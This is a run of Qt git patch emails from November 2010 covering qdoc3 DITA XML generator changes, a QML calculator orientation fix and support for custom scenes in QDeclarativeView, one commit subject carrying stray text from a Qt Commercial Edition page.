funcIndex[(*c)->name()].insert(myTree->fullDocumentName((*c)->parent()), *c); diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index f4736f3..d787bc9 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -1364,6 +1364,21 @@ QString FunctionNode::signature(bool values) const } /*! + Returns true if the node's status is Internal, or if its + parent is a class with internal status. + */ +bool FunctionNode::isInternal() const +{ + if (status() == Internal) + return true; + if (parent() && parent()->status() == Internal) + return true; + if (relates() && relates()->status() == Internal) + return true; + return false; +} + +/*! Print some debugging stuff. */ void FunctionNode::debug() const diff --git a/tools/qdoc3/node.h b/tools/qdoc3/node.h index 0b493ee..69f3ba5 100644 --- a/tools/qdoc3/node.h +++ b/tools/qdoc3/node.h @@ -164,6 +164,7 @@ class Node virtual bool isReimp() const { return false; } virtual bool isFunction() const { return false; } virtual bool isQmlNode() const { return false; } + virtual bool isInternal() const { return false; } Type type() const { return typ; } virtual SubType subType() const { return NoSubType; } InnerNode* parent() const { return par; } @@ -636,6 +637,7 @@ class FunctionNode : public LeafNode virtual bool isQmlNode() const { return ((type() == QmlSignal) || (type() == QmlMethod)); } + virtual bool isInternal() const; void debug() const; -- cgit v0.12 From aa43c2150e48af27bbb623aae57c2d48bccbdde0 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 2 Nov 2010 11:37:38 +1000 Subject: Fix QML calculator demo being wrongly rotated for landscape devices Task-number: QTBUG-14909 Reviewed-by: Martin Jones --- demos/declarative/calculator/calculator.qml | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/demos/declarative/calculator/calculator.qml b/demos/declarative/calculator/calculator.qml index 3e1c650..b3e4f2f 100644 --- a/demos/declarative/calculator/calculator.qml +++ b/demos/declarative/calculator/calculator.qml @@ -46,7 +46,7 @@ import "Core/calculator.js" as CalcEngine Rectangle { id: window - width: 480; height: 360 + width: 360; height: 480 color: "#282828" property string rotateLeft: "\u2939" @@ -63,7 +63,15 @@ Rectangle { id: main state: "orientation " + runtime.orientation - width: parent.width; height: parent.height; anchors.centerIn: parent + property bool landscapeWindow: window.width > window.height + property real baseWidth: landscapeWindow ? window.height : window.width + property real baseHeight: landscapeWindow ? window.width : window.height + property real rotationDelta: landscapeWindow ? -90 : 0 + + rotation: rotationDelta + width: main.baseWidth + height: main.baseHeight + anchors.centerIn: parent Column { id: box; spacing: 8 @@ -132,24 +140,20 @@ Rectangle { states: [ State { name: "orientation " + Orientation.Landscape - PropertyChanges { target: main; rotation: 90; width: window.height; height: window.width } - PropertyChanges { target: rotateButton; operation: rotateLeft } + PropertyChanges { target: main; rotation: 90 + rotationDelta; width: main.baseHeight; height: main.baseWidth } }, State { name: "orientation " + Orientation.PortraitInverted - PropertyChanges { target: main; rotation: 180; } - PropertyChanges { target: rotateButton; operation: rotateRight } + PropertyChanges { target: main; rotation: 180 + rotationDelta; } }, State { name: "orientation " + Orientation.LandscapeInverted - PropertyChanges { target: main; rotation: 270; width: window.height; height: window.width } - PropertyChanges { target: rotateButton; operation: rotateLeft } + PropertyChanges { target: main; rotation: 270 + rotationDelta; width: main.baseHeight; height: main.baseWidth } } ] transitions: Transition { SequentialAnimation { - PropertyAction { target: rotateButton; property: "operation" } RotationAnimation { direction: RotationAnimation.Shortest; duration: 300; easing.type: Easing.InOutQuint } NumberAnimation { properties: "x,y,width,height"; duration: 300; easing.type: Easing.InOutQuint } } -- cgit v0.12 From 54ca4ebba8aa5c26516424a952f8e6d4ab919f6e Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 2 Nov 2010 19:44:06 +1000 Subject: Make it possible to add your own graphics scene to QDeclarativeView Task-number: QTBUG-14771 Reviewed-by: Martin Jones --- src/declarative/util/qdeclarativeview.cpp | 24 ++++++++++++---------- .../qdeclarativeview/tst_qdeclarativeview.cpp | 21 +++++++++++++++++++ 2 files changed, 34 insertions(+), 11 deletions(-) diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp index 2381172..6864a8b 100644 --- a/src/declarative/util/qdeclarativeview.cpp +++ b/src/declarative/util/qdeclarativeview.cpp @@ -76,7 +76,7 @@ DEFINE_BOOL_CONFIG_OPTION(frameRateDebug, QML_SHOW_FRAMERATE) class QDeclarativeScene : public QGraphicsScene { public: - QDeclarativeScene(); + QDeclarativeScene(QObject *parent = 0); protected: virtual void keyPressEvent(QKeyEvent *); @@ -87,7 +87,7 @@ protected: virtual void mouseReleaseEvent(QGraphicsSceneMouseEvent *); }; -QDeclarativeScene::QDeclarativeScene() +QDeclarativeScene::QDeclarativeScene(QObject *parent) : QGraphicsScene(parent) { } @@ -131,7 +131,8 @@ class QDeclarativeViewPrivate : public QGraphicsViewPrivate, public QDeclarative Q_DECLARE_PUBLIC(QDeclarativeView) public: QDeclarativeViewPrivate() - : root(0), declarativeItemRoot(0), graphicsWidgetRoot(0), component(0), resizeMode(QDeclarativeView::SizeViewToRootObject), initialSize(0,0) {} + : root(0), declarativeItemRoot(0), graphicsWidgetRoot(0), component(0), + resizeMode(QDeclarativeView::SizeViewToRootObject), initialSize(0,0) {} ~QDeclarativeViewPrivate() { delete root; delete engine; } void execute(); void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry); @@ -154,8 +155,6 @@ public: QElapsedTimer frameTimer; void init(); - - QDeclarativeScene scene; }; void QDeclarativeViewPrivate::execute() @@ -233,6 +232,9 @@ void QDeclarativeViewPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem, you can connect to the statusChanged() signal and monitor for QDeclarativeView::Error. The errors are available via QDeclarativeView::errors(). + If you're using your own QGraphicsScene-based scene with QDeclarativeView, remember to + enable scene's sticky focus mode and to set itemIndexMethod to QGraphicsScene::NoIndex. + \sa {Integrating QML with existing Qt UI code}, {Using QML in C++ Applications} */ @@ -276,7 +278,7 @@ void QDeclarativeViewPrivate::init() { Q_Q(QDeclarativeView); engine = new QDeclarativeEngine(); - q->setScene(&scene); + q->setScene(new QDeclarativeScene(q)); q->setOptimizationFlags(QGraphicsView::DontSavePainterState); q->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); @@ -285,11 +287,11 @@ void QDeclarativeViewPrivate::init() // These seem to give the best performance q->setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate); - scene.setItemIndexMethod(QGraphicsScene::NoIndex); + q->scene()->setItemIndexMethod(QGraphicsScene::NoIndex); q->viewport()->setFocusPolicy(Qt::NoFocus); q->setFocusPolicy(Qt::StrongFocus); - scene.setStickyFocus(true); //### needed for correct focus handling + q->scene()->setStickyFocus(true); //### needed for correct focus handling } /*! @@ -555,14 +557,14 @@ void QDeclarativeView::continueExecute() void QDeclarativeView::setRootObject(QObject *obj) { Q_D(QDeclarativeView); - if (d->root == obj) + if (d->root == obj || !scene()) return; if (QDeclarativeItem *declarativeItem = qobject_cast(obj)) { - d->scene.addItem(declarativeItem); + scene()->addItem(declarativeItem); d->root = declarativeItem; d->declarativeItemRoot = declarativeItem; } else if (QGraphicsObject *graphicsObject = qobject_cast(obj)) { - d->scene.addItem(graphicsObject); + scene()->addItem(graphicsObject); d->root = graphicsObject; if (graphicsObject->isWidget()) { d->graphicsWidgetRoot = static_cast(graphicsObject); diff --git a/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp b/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp index 9ac79e4..efa5a9b 100644 --- a/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp +++ b/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp @@ -60,6 +60,7 @@ public: tst_QDeclarativeView(); private slots: + void scene(); void resizemodedeclarativeitem(); void resizemodegraphicswidget(); void errors(); @@ -74,6 +75,26 @@ tst_QDeclarativeView::tst_QDeclarativeView() { } +void tst_QDeclarativeView::scene() +{ + // QTBUG-14771 + QGraphicsScene scene; + scene.setItemIndexMethod(QGraphicsScene::NoIndex); + scene.setStickyFocus(true); + + QDeclarativeView *view = new QDeclarativeView(); + QVERIFY(view); + QVERIFY(view->scene()); + view->setScene(&scene); + QCOMPARE(view->scene(), &scene); + + view->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodedeclarativeitem.qml")); + QDeclarativeItem* declarativeItem = qobject_cast(view->rootObject()); + QVERIFY(declarativeItem); + QVERIFY(scene.items().count() > 0); + QCOMPARE(scene.items().at(0), declarativeItem); +} + void tst_QDeclarativeView::resizemodedeclarativeitem() { QWidget window; -- cgit v0.12 From b2793a9b7f14508be5cf14bb19127e886b8f1492 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 4 Nov 2010 13:26:25 +0100 Subject: qdoc: Added the element to the This contains the next, previous, and start links for pages that have them. Task-number: QTBUG-14980 --- tools/qdoc3/ditaxmlgenerator.cpp | 59 ++++++++++++++++++++++++++++++++++++++-- tools/qdoc3/ditaxmlgenerator.h | 2 ++ 2 files changed, 59 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 4bc08a3..b69e731 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2036,7 +2036,7 @@ void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& tex Generate the html page for a qdoc file that doesn't map to an underlying c++ file. */ -void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) +void DitaXmlGenerator::generateFakeNode(const FakeNode* fake, CodeMarker* marker) { SubTitleSize subTitleSize = LargeSubTitle; QList
    sections; @@ -2054,7 +2054,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } generateHeader(fake, fullTitle); - generateBrief(fake, marker); // xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { @@ -2115,10 +2114,65 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } } xmlWriter().writeEndElement(); // + writeRelatedLinks(fake, marker); xmlWriter().writeEndElement(); // } /*! + This function writes a \e{} element inside a + \e{} element. + + \sa writeRelatedLinks() + */ +void DitaXmlGenerator::writeLink(const Node* node, + const QString& text, + const QString& role) +{ + if (node) { + QString link = fileName(node) + "#" + node->guid(); + xmlWriter().writeStartElement("link"); + xmlWriter().writeAttribute("href", link); + xmlWriter().writeAttribute("role", role); + xmlWriter().writeStartElement("linktext"); + xmlWriter().writeCharacters(text); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + } +} + +/*! + This function writes a \e{} element, which + contains the \c{next}, \c{previous}, and \c{start} + links for topic pages that have them. Note that the + value of the \e role attribute is \c{parent} for the + \c{start} link. + */ +void DitaXmlGenerator::writeRelatedLinks(const FakeNode* node, CodeMarker* marker) +{ + const Node* linkNode = 0; + QPair linkPair; + if (node && !node->links().empty()) { + xmlWriter().writeStartElement("related-links"); + if (node->links().contains(Node::PreviousLink)) { + linkPair = node->links()[Node::PreviousLink]; + linkNode = findNodeForTarget(linkPair.first, node, marker); + writeLink(linkNode, linkPair.second, "previous"); + } + if (node->links().contains(Node::NextLink)) { + linkPair = node->links()[Node::NextLink]; + linkNode = findNodeForTarget(linkPair.first, node, marker); + writeLink(linkNode, linkPair.second, "next"); + } + if (node->links().contains(Node::StartLink)) { + linkPair = node->links()[Node::StartLink]; + linkNode = findNodeForTarget(linkPair.first, node, marker); + writeLink(linkNode, linkPair.second, "parent"); + } + xmlWriter().writeEndElement(); // + } +} + +/*! Returns "xml" for this subclass of class Generator. */ QString DitaXmlGenerator::fileExtension(const Node * /* node */) const @@ -2231,6 +2285,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, xmlWriter().writeStartElement(nameElement); // or <apiName> xmlWriter().writeCharacters(name); xmlWriter().writeEndElement(); // or + } /*! diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index aa8ca77..de949c2 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -136,6 +136,8 @@ class DitaXmlGenerator : public PageGenerator CodeMarker* marker, const QString& attribute = QString()); void writePropertyParameter(const QString& tag, const NodeList& nlist); + void writeRelatedLinks(const FakeNode* fake, CodeMarker* marker); + void writeLink(const Node* node, const QString& tex, const QString& role); private: enum SubTitleSize { SmallSubTitle, LargeSubTitle }; -- cgit v0.12 From e2cffa74190833621d82697325d5cbbbb2aaec85 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 5 Nov 2010 12:12:31 +0100 Subject: qdoc: First pass at generating a map. Some files are missing, and I don't know if the syntax is complete. But it's a start. Task-number: QTBUG-14981 --- tools/qdoc3/ditaxmlgenerator.cpp | 29 ++++++++++++++++++++++++++++- tools/qdoc3/ditaxmlgenerator.h | 1 + tools/qdoc3/pagegenerator.cpp | 7 +++---- 3 files changed, 32 insertions(+), 5 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index b69e731..bf7bd07 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -574,6 +574,7 @@ void DitaXmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) findAllSince(tree->root()); PageGenerator::generateTree(tree, marker); + writeDitaMap(); } void DitaXmlGenerator::startText(const Node* /* relative */, @@ -2285,7 +2286,6 @@ void DitaXmlGenerator::generateHeader(const Node* node, xmlWriter().writeStartElement(nameElement); // or <apiName> xmlWriter().writeCharacters(name); xmlWriter().writeEndElement(); // or - } /*! @@ -5573,4 +5573,31 @@ bool DitaXmlGenerator::canHandleFormat(const QString& format) return (format == "HTML") || (format == this->format()); } +void DitaXmlGenerator::writeDitaMap() +{ + beginSubPage(Location(),"qt-dita-map.xml"); + + QString doctype; + doctype = ""; + + xmlWriter().writeDTD(doctype); + xmlWriter().writeStartElement("cxxAPIMap"); + xmlWriter().writeAttribute("id","Qt-DITA-Map"); + xmlWriter().writeAttribute("title","Qt DITA Map"); + xmlWriter().writeStartElement("topicmeta"); + xmlWriter().writeStartElement("shortdesc"); + xmlWriter().writeCharacters("The top level map for the Qt documentation"); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + GuidMaps::iterator i = guidMaps.begin(); + while (i != guidMaps.end()) { + xmlWriter().writeStartElement("topicref"); + xmlWriter().writeAttribute("href",i.key()); + xmlWriter().writeAttribute("type","topic"); + xmlWriter().writeEndElement(); // + ++i; + } + endSubPage(); +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index de949c2..6324204 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -270,6 +270,7 @@ class DitaXmlGenerator : public PageGenerator bool apiDesc, const QString& title); void addLink(const QString& href, const QStringRef& text); + void writeDitaMap(); private: QMap refMap; diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp index 6ba562c..ca98faa 100644 --- a/tools/qdoc3/pagegenerator.cpp +++ b/tools/qdoc3/pagegenerator.cpp @@ -289,11 +289,10 @@ QString PageGenerator::outFileName() void PageGenerator::beginSubPage(const Location& location, const QString& fileName) { - QFile *outFile = new QFile(outputDir() + "/" + fileName); + QFile* outFile = new QFile(outputDir() + "/" + fileName); if (!outFile->open(QFile::WriteOnly)) - location.fatal(tr("Cannot open output file '%1'") - .arg(outFile->fileName())); - QTextStream *out = new QTextStream(outFile); + location.fatal(tr("Cannot open output file '%1'").arg(outFile->fileName())); + QTextStream* out = new QTextStream(outFile); out->setCodec(outputCodec); outStreamStack.push(out); } -- cgit v0.12 From 8481135dfc7f19424ab9d94d5da986861e6f9c4f Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Sun, 7 Nov 2010 11:37:03 +0100 Subject: qdoc: Second pass at generating a map. All the files are there now. It outputs each element as a . We might want to output the entries for C++ classes, namespaces, and QML classes differently. But the validator is able to use this map to validate everything, and there are no errors. So until we get further instructions, this is it. Task-number: QTBUG-14981 --- tools/qdoc3/ditaxmlgenerator.cpp | 1 + 1 file changed, 1 insertion(+) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index bf7bd07..d275af2 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -5404,6 +5404,7 @@ void DitaXmlGenerator::beginSubPage(const Location& location, const QString& fileName) { PageGenerator::beginSubPage(location,fileName); + (void) lookupGuidMap(fileName); QXmlStreamWriter* writer = new QXmlStreamWriter(out().device()); xmlWriterStack.push(writer); writer->setAutoFormatting(true); -- cgit v0.12 From 2e71fd324eaab8ba08fd748a3dd1c8025a38da2a Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 9 Nov 2010 10:24:24 +0100 Subject: qdoc: Removed unused code. --- tools/qdoc3/ditaxmlgenerator.cpp | 113 --------------------------------------- tools/qdoc3/ditaxmlgenerator.h | 6 --- 2 files changed, 119 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index d275af2..e2b3ca1 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1977,49 +1977,6 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } -#if 0 - while (s != detailSections.end()) { - if ((*s).name == "Member Function Documentation") { - writeFunctions((*s),qcn,marker); - } - else if ((*s).name == "Member Type Documentation") { - writeEnumerations((*s),marker); - writeTypedefs((*s),marker); - } - else if ((*s).name == "Member Variable Documentation") { - writeDataMembers((*s),marker); - } - else if ((*s).name == "Property Documentation") { - writeProperties((*s),marker); - } - else if ((*s).name == "Macro Documentation") { - writeMacros((*s),marker); - } - ++s; - } -#endif -#if 0 - QString membersLink = generateListOfAllMemberFile(inner, marker); - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!membersLink.isEmpty() || - !obsoleteLink.isEmpty() || - !compatLink.isEmpty()) { - xmlWriter().writeStartElement("ul"); - if (!membersLink.isEmpty()) - writeXrefListItem(membersLink,"List of all members, including inherited members"); - if (!obsoleteLink.isEmpty()) - writeXrefListItem(obsoleteLink,"Obsolete members"); - if (!compatLink.isEmpty()) - writeXrefListItem(compatLink,"Qt 3 support members"); - xmlWriter().writeEndElement(); // - } -#endif - /*! Write a list item for a \a link with the given \a text. */ @@ -2289,38 +2246,6 @@ void DitaXmlGenerator::generateHeader(const Node* node, } /*! - Writes a \a title as a

    element with an \c {outputclass} - attribute of "h1 title". - - Also generates and writes a \a subTitle as a

    element, - if one is provided, but this probably doesn't work right. - */ -void DitaXmlGenerator::generateTitle(const QString& title, - const Text& subTitle, - SubTitleSize subTitleSize, - const Node* relative, - CodeMarker* marker) -{ - if (!title.isEmpty()) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass", "h1 title"); - xmlWriter().writeCharacters(protectEnc(title)); - xmlWriter().writeEndElement(); //

    - } - if (!subTitle.isEmpty()) { - xmlWriter().writeStartElement("p"); - if (subTitleSize == SmallSubTitle) { - xmlWriter().writeAttribute("outputclass", "small-subtitle"); - } - else { - xmlWriter().writeAttribute("outputclass", "subtitle"); - } - generateText(subTitle, relative, marker); - xmlWriter().writeEndElement(); //

    - } -} - -/*! Outputs the \e brief command as a element. */ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) @@ -2548,44 +2473,6 @@ void DitaXmlGenerator::generateTableOfContents(const Node* node, inLink = false; } -QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, - CodeMarker* marker) -{ - QList
    sections; - QList
    ::ConstIterator s; - - sections = marker->sections(inner, - CodeMarker::SeparateList, - CodeMarker::Okay); - if (sections.isEmpty()) - return QString(); - - QString fileName = fileBase(inner) + "-members." + fileExtension(inner); - beginSubPage(inner->location(), fileName); - QString title = "List of All Members for " + inner->name(); - generateHeader(inner, title, true); - xmlWriter().writeStartElement("body"); - xmlWriter().writeStartElement("section"); - if (!title.isEmpty()) { - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass", "h1"); - xmlWriter().writeCharacters(protectEnc(title)); - xmlWriter().writeEndElement(); // - } - xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters("This is the complete list of members for "); - generateFullName(inner, 0, marker); - xmlWriter().writeCharacters(", including inherited members."); - xmlWriter().writeEndElement(); //

    - - Section section = sections.first(); - generateSection(section.members, 0, marker, CodeMarker::SeparateList); - xmlWriter().writeEndElement(); //
    - xmlWriter().writeEndElement(); // - endSubPage(); - return fileName; -} - void DitaXmlGenerator::generateLowStatusMembers(const InnerNode* inner, CodeMarker* marker, CodeMarker::Status status) diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 6324204..29ec546 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -150,11 +150,6 @@ class DitaXmlGenerator : public PageGenerator void generateHeader(const Node* node, const QString& name, bool subpage = false); - void generateTitle(const QString& title, - const Text& subTitle, - SubTitleSize subTitleSize, - const Node* relative, - CodeMarker* marker); void generateBrief(const Node* node, CodeMarker* marker); void generateIncludes(const InnerNode* inner, CodeMarker* marker); void generateTableOfContents(const Node* node, @@ -165,7 +160,6 @@ class DitaXmlGenerator : public PageGenerator void generateTableOfContents(const Node* node, CodeMarker* marker, QList
    * sections = 0); - QString generateListOfAllMemberFile(const InnerNode* inner, CodeMarker* marker); void generateLowStatusMembers(const InnerNode* inner, CodeMarker* marker, CodeMarker::Status status); -- cgit v0.12 From 2f5fe525c5d9ac142571c39c215386675ee79899 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 9 Nov 2010 13:47:56 +0100 Subject: Qt Commercial Edition Information about the license and features of the Commercial Edition.

    Information about the license and features of the Commercial Edition.

    Qt can be used to develop closed source software if you obtain a commercial license.

    If you want to develop Free or Open Source software for release using a recognized Open Source license, you can use the Open Source Versions of Qt.

    The table below summarizes the differences between the two commercial editions:

    Please see the list of supported platforms for up-to-date information about the various platforms and compilers that Qt supports.

    On the Qt web site, you can find a Qt Licensing Overview and information on Qt License Pricing for commercial editions of Qt and other Qt-related products.

    To purchase, please visit the online order form.

    For further information and assistance, please contact Qt sales.

    Web: http://qt.nokia.com/contact.

    Phone, U.S&#x2e; office (for North America): 1-650-813-1676.

    Phone, Norway office (for the rest of the world): +47 21 60 48 00.

    --- tools/qdoc3/ditaxmlgenerator.cpp | 64 +++++++--------------------------------- tools/qdoc3/ditaxmlgenerator.h | 5 +--- 2 files changed, 11 insertions(+), 58 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index e2b3ca1..00ec8fd 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -639,7 +639,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, const Node* node = 0; QString link = getLink(atom, relative, marker, &node); if (!link.isEmpty()) { - beginLink(link, node, relative, marker); + beginLink(link); generateLink(atom, relative, marker); endLink(); } @@ -1091,7 +1091,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, .arg(marker->plainFullName(relative))); } else if (!inSectionHeading) { - beginLink(myLink, node, relative, marker); + beginLink(myLink); } #if 0 else { @@ -1107,14 +1107,14 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, #if 0 qDebug() << "GUID LINK:" << atom->string() << outFileName(); #endif - beginLink(atom->string(), 0, relative, marker); + beginLink(atom->string()); skipAhead = 1; } break; case Atom::LinkNode: { const Node* node = CodeMarker::nodeForString(atom->string()); - beginLink(linkForNode(node, relative), node, relative, marker); + beginLink(linkForNode(node, relative)); skipAhead = 1; } break; @@ -1476,7 +1476,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::UnknownCommand: xmlWriter().writeStartElement("b"); - xmlWriter().writeAttribute("outputclass","redFont code"); + xmlWriter().writeAttribute("outputclass","error unknown-command"); xmlWriter().writeCharacters(protectEnc(atom->string())); xmlWriter().writeEndElement(); // break; @@ -3701,20 +3701,6 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, actualNode = apparentNode; xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",linkForNode(actualNode, relative)); -#if 0 - if (true || relative == 0 || relative->status() != actualNode->status()) { - switch (actualNode->status()) { - case Node::Obsolete: - xmlWriter().writeAttribute("outputclass","obsolete"); - break; - case Node::Compat: - xmlWriter().writeAttribute("outputclass","compat"); - break; - default: - break; - } - } -#endif xmlWriter().writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); xmlWriter().writeEndElement(); // } @@ -4194,41 +4180,13 @@ void DitaXmlGenerator::generateStatus(const Node* node, CodeMarker* marker) } } -void DitaXmlGenerator::beginLink(const QString& link, - const Node* node, - const Node* relative, - CodeMarker* marker) +void DitaXmlGenerator::beginLink(const QString& link) { - Q_UNUSED(marker) - Q_UNUSED(relative) - this->link = link; - if (link.isEmpty()) { - if (showBrokenLinks) - xmlWriter().writeStartElement("i"); - } - else if (node == 0 || (relative != 0 && - node->status() == relative->status())) { - xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",link); - } - else { - switch (node->status()) { - case Node::Obsolete: - xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",link); - //xmlWriter().writeAttribute("outputclass","obsolete"); - break; - case Node::Compat: - xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",link); - //xmlWriter().writeAttribute("outputclass","compat"); - break; - default: - xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",link); - } - } + if (link.isEmpty()) + return; + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); inLink = true; } @@ -4356,7 +4314,6 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, if (n && n->subType() == Node::QmlClass) { const QmlClassNode* qcn = static_cast(n); xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","centerAlign"); Text text; text << "[Inherits "; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); @@ -4404,7 +4361,6 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, const ClassNode* cn = qcn->classNode(); if (cn && (cn->status() != Node::Internal)) { xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","centerAlign"); Text text; text << "["; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 29ec546..427264c 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -245,10 +245,7 @@ class DitaXmlGenerator : public PageGenerator #ifdef GENERATE_MAC_REFS void generateMacRef(const Node* node, CodeMarker* marker); #endif - void beginLink(const QString& link, - const Node* node, - const Node* relative, - CodeMarker* marker); + void beginLink(const QString& link); void endLink(); QString writeGuidAttribute(QString text); void writeGuidAttribute(Node* node); -- cgit v0.12 From 6d111857f094e4c5f2ed3e297c5ec25c16a2a06c Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 10 Nov 2010 13:27:10 +0100 Subject: qdoc: Removed unused code. --- tools/qdoc3/ditaxmlgenerator.cpp | 75 ---------------------------------------- tools/qdoc3/ditaxmlgenerator.h | 3 -- 2 files changed, 78 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 00ec8fd..90f2997 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -3705,81 +3705,6 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, xmlWriter().writeEndElement(); // } -void DitaXmlGenerator::generateDetailedMember(Node* node, - const InnerNode* relative, - CodeMarker* marker) -{ - QString marked; - const EnumNode* en; - - if ((node->type() == Node::Enum) && - (en = static_cast(node))->flagsType()) { - xmlWriter().writeStartElement("p"); - writeGuidAttribute(node); - xmlWriter().writeAttribute("outputclass","h3 flags"); - marked = getMarkedUpSynopsis(en, relative, marker, CodeMarker::Detailed); - writeText(marked, marker, relative); - xmlWriter().writeCharacters("\n"); - marked = getMarkedUpSynopsis(en->flagsType(),relative,marker,CodeMarker::Detailed); - writeText(marked,marker,relative); - xmlWriter().writeEndElement(); //

    - } - else { - xmlWriter().writeStartElement("p"); - writeGuidAttribute(node); - xmlWriter().writeAttribute("outputclass","h3 fn"); - marked = getMarkedUpSynopsis(node, relative, marker, CodeMarker::Detailed); - writeText(marked, marker, relative); - xmlWriter().writeEndElement(); //

    - } - - generateStatus(node, marker); - generateBody(node, marker); - generateThreadSafeness(node, marker); - generateSince(node, marker); - - if (node->type() == Node::Property) { - const PropertyNode *property = static_cast(node); - Section section; - - section.members += property->getters(); - section.members += property->setters(); - section.members += property->resetters(); - - if (!section.members.isEmpty()) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters("Access functions:"); - xmlWriter().writeEndElement(); //

